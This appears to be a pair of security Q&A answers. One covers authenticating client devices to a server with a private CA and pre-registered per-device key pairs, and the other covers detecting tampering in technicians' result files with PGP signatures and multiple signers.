One approach can be to use PKI. Major steps would be:

Define your own CA by creating, create a self signed certificate for it.
Make this certificate trusted by adding it to the trust store on every device. Thus, even if you update server certificate time to time, it will remain trusted, because it will be signed by your trusted CA.
Create separate key pair and certificate for every device, it should be used for communication with the server.
Register public key of every device on the server side. Based on this the server will authenticate client devices. The server will reject communication with any clients that have no public key, registered at the server. Besides, this will give you the possibility to prohibit access for some client devices if think they were compromised.

don't want human-interaction between devices and server

Yes, this will be fulfilled.

After installation app, this client device should be already
authenticated.

Installing a key pair on the device and pre-registering it on the server side will make them automatically authenticated when they establish connection to server.

Also want to avoid incorrect/fake devices.

The server will communicate only with clients whose public key is pre-registered on the server.


How to know whether a textfile has been edited or tampered with?

The default solution would be to use cryptographic signatures. Have every technician generate a PGP keypair, publishing the public key and keeping the private key secure.

When a technician made an analysis, they sign the result file with their private key. Now anyone who wants to verify the file can check the signature using the public key of the technician. When anyone changes the file, the signature won't be correct anymore.

Security consideration: Should any private key of a technician get known to someone else, that person can change the files and also change the signature to one which will be valid. This problem can be mitigated by having multiple persons sign each result file. An attacker would require all keys to replace all signatures with valid ones.

Alternative low-tech solution: Print out each result file, have the technician sign it the old-school way (with a pen) and deposit the file in a physically secure archive.

By the way: Do not assume that the vendor-specific binary format provides any more security against tampering than XML does. Just because you can't read and edit it when you open it with a text editor doesn't mean nobody else can reverse-engineer the format and build an editor for it.